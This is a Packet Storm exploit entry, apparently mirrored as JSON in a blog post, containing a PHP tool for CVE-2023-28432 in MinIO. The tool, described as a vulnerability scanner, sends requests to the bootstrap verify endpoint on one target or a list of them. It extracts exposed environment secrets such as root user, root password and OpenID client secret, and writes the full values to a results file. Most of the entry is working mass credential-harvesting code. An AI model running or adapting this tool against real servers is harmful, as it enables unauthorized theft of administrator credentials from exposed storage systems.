{“lastseen”:”2026-01-27T18:01:46″,”description”:”This PHP script is a command-line vulnerability scanner designed to detect CVE-2023-28432 in MinIO servers. The vulnerability allows unauthenticated access to sensitive environment variables through the \/minio\/bootstrap\/v1\/verify endpoint…”,”published”:”2026-01-27T00:00:00″,”modified”:”2026-01-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MinIO RELEASE.2023-03-20T20-16-18Z Vulnerability Scanner”,”source”:””,”references”:””,”id”:”PACKETSTORM:214442″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-28432″],”sourceData”:”=============================================================================================================================================\\n | # Title : MinIO RELEASE.2023-03-20T20-16-18Z Vulnerability Scanner |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.min.io\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/213673\/ \\u0026 CVE-2023-28432\\n \\n [+] Summary : This PHP script is a command-line vulnerability scanner designed to detect CVE-2023-28432 in MinIO servers. \\n The vulnerability allows unauthenticated access to sensitive environment variables through the \/minio\/bootstrap\/v1\/verify endpoint.\\n \\n [+] The tool supports:\\n \\n Scanning a single URL or multiple URLs from a file.\\n \\n Optional verbose mode with proof-of-concept style output.\\n \\n Detection and reporting of sensitive MinIO configuration keys (credentials, secrets, URLs).\\n \\n Result export to an output file.\\n \\n A placeholder for LeakIX integration to discover exposed MinIO instances.\\n \\n Colored CLI output and progress tracking for mass scans.\\n \\n It uses cURL for HTTP requests, validates JSON responses, checks for the presence of the MinioEnv object, and flags targets as vulnerable when sensitive environment data is exposed.\\n An alternative lightweight standalone CLI implementation and a commented Composer-based advanced structure are also included.\\n \\n [+] PoC : php poc.php -u https:\/\/target:9000 -v\\n \\n -f targets.txt -o result.txt\\n \\n \\u003c?php\\n \\n class MinioCVE202328432Scanner {\\n \\n private $leakixApiKey = \\”\\”;\\n private $timeout = 5;\\n \\n private $fixedRelease = \\”RELEASE.2023-03-20T20-16-18Z\\”;\\n \\n private $sensitiveKeys = [\\n \\”MINIO_ROOT_USER\\”,\\n \\”MINIO_ROOT_PASSWORD\\”,\\n \\”MINIO_SECRET_KEY_FILE\\”,\\n \\”MINIO_ACCESS_KEY_FILE\\”,\\n \\”MINIO_SERVER_URL\\”,\\n \\”MINIO_IDENTITY_OPENID_CLIENT_SECRET\\”\\n ];\\n \\n private $headers = [\\n \\”User-Agent: Mozilla\/5.0\\”,\\n \\”Accept: application\/json\\”\\n ];\\n \\n public function __construct() {\\n stream_context_set_default([\\n ‘ssl’ =\\u003e [\\n ‘verify_peer’ =\\u003e false,\\n ‘verify_peer_name’ =\\u003e false,\\n ],\\n ]);\\n }\\n \\n \\n private function detectVersionFromHeaders($headers) {\\n foreach ($headers as $header) {\\n if (stripos($header, ‘minio’) !== false) {\\n if (preg_match(‘\/RELEASE\\\\.[0-9TZ\\\\-]+\/’, $header, $m)) {\\n return $m[0];\\n }\\n }\\n }\\n return \\”Unknown\\”;\\n }\\n \\n private function isVulnerableVersion($version) {\\n if ($version === \\”Unknown\\”) return true;\\n return strcmp($version, $this-\\u003efixedRelease) \\u003c 0;\\n }\\n \\n \\n public function fetchData($baseUrl, $verbose = true, $outputFile = null) {\\n \\n $endpoint = rtrim($baseUrl, ‘\/’) . ‘\/minio\/bootstrap\/v1\/verify’;\\n \\n if ($verbose) {\\n $this-\\u003eprintMessage(\\”[*] Target: $endpoint\\”, \\”blue\\”);\\n }\\n \\n $ch = curl_init($endpoint);\\n curl_setopt_array($ch, [\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_HTTPHEADER =\\u003e $this-\\u003eheaders,\\n CURLOPT_TIMEOUT =\\u003e $this-\\u003etimeout,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n CURLOPT_HEADER =\\u003e true\\n ]);\\n \\n $response = curl_exec($ch);\\n \\n if ($response === false) {\\n $this-\\u003eprintMessage(\\”Connection error\\”, \\”red\\”);\\n curl_close($ch);\\n return;\\n }\\n \\n $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);\\n $rawHeaders = substr($response, 0, $headerSize);\\n $body = substr($response, $headerSize);\\n curl_close($ch);\\n \\n $headers = explode(\\”\\\\r\\\\n\\”, $rawHeaders);\\n $version = $this-\\u003edetectVersionFromHeaders($headers);\\n \\n $this-\\u003eprintMessage(\\”Detected Version: $version\\”, \\”yellow\\”);\\n \\n if (!$this-\\u003eisVulnerableVersion($version)) {\\n $this-\\u003eprintMessage(\\”Target is NOT vulnerable (patched)\\”, \\”green\\”);\\n return;\\n }\\n \\n $data = json_decode($body, true);\\n \\n if (!is_array($data) || !isset($data[‘MinioEnv’])) {\\n $this-\\u003eprintMessage(\\”No MinioEnv found\\”, \\”green\\”);\\n return;\\n }\\n \\n $this-\\u003eprintMessage(\\”[VULNERABLE] $baseUrl\\”, \\”red\\”);\\n \\n $found = [];\\n \\n foreach ($this-\\u003esensitiveKeys as $key) {\\n if (isset($data[‘MinioEnv’][$key])) {\\n $val = $data[‘MinioEnv’][$key];\\n $found[$key] = $val;\\n \\n if ($verbose) {\\n $this-\\u003eprintMessage(\\”Key: $key\\”, \\”red\\”);\\n $this-\\u003eprintMessage(\\”Value: \\” . substr($val, 0, 5) . \\”*****\\”, \\”white\\”);\\n }\\n }\\n }\\n \\n if ($outputFile \\u0026\\u0026 !empty($found)) {\\n $line = $baseUrl . \\” | Version=\\” . $version;\\n foreach ($found as $k =\\u003e $v) {\\n $line .= \\” | $k=$v\\”;\\n }\\n file_put_contents($outputFile, $line . PHP_EOL, FILE_APPEND);\\n }\\n }\\n \\n \\n public function massUrls($urls, $verbose = false, $outputFile = null) {\\n $total = count($urls);\\n $i = 0;\\n \\n foreach ($urls as $url) {\\n $i++;\\n $this-\\u003efetchData(trim($url), $verbose, $outputFile);\\n $this-\\u003eprintProgress(\\”Scanning\\”, $i, $total);\\n }\\n }\\n \\n \\n public function main() {\\n global $argv;\\n \\n $opts = getopt(\\”u:f:o:v\\”);\\n \\n if (isset($opts[‘u’])) {\\n $this-\\u003efetchData($opts[‘u’], isset($opts[‘v’]), $opts[‘o’] ?? null);\\n return;\\n }\\n \\n if (isset($opts[‘f’]) \\u0026\\u0026 file_exists($opts[‘f’])) {\\n $urls = file($opts[‘f’], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\\n $this-\\u003emassUrls($urls, isset($opts[‘v’]), $opts[‘o’] ?? null);\\n return;\\n }\\n \\n $this-\\u003eprintMessage(\\”Usage:\\”, \\”yellow\\”);\\n echo \\”php minio_scanner.php -u \\u003curl\\u003e [-v]\\\\n\\”;\\n echo \\”php minio_scanner.php -f \\u003cfile\\u003e [-o output.txt]\\\\n\\”;\\n }\\n \\n private function printMessage($msg, $color = \\”white\\”) {\\n $c = [\\n ‘red’ =\\u003e \\”\\\\033[31m\\”,\\n ‘green’ =\\u003e \\”\\\\033[32m\\”,\\n ‘yellow’ =\\u003e \\”\\\\033[33m\\”,\\n ‘blue’ =\\u003e \\”\\\\033[34m\\”,\\n ‘white’ =\\u003e \\”\\\\033[37m\\”,\\n ‘reset’ =\\u003e \\”\\\\033[0m\\”\\n ];\\n echo ($c[$color] ?? $c[‘white’]) . $msg . $c[‘reset’] . PHP_EOL;\\n }\\n \\n private function printProgress($title, $current, $total) {\\n $percent = round(($current \/ $total) * 100);\\n echo \\”\\\\r$title: $percent% ($current\/$total)\\”;\\n if ($current === $total) echo PHP_EOL;\\n }\\n }\\n \\n \\n if (php_sapi_name() === ‘cli’) {\\n $scanner = new MinioCVE202328432Scanner();\\n $scanner-\\u003emain();\\n }\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214442″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214442\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-27T18:01:46″,”description”:”This PHP script is a command-line vulnerability scanner designed to detect CVE-2023-28432 in MinIO servers. The vulnerability allows unauthenticated access to sensitive environment variables through…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-37630","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n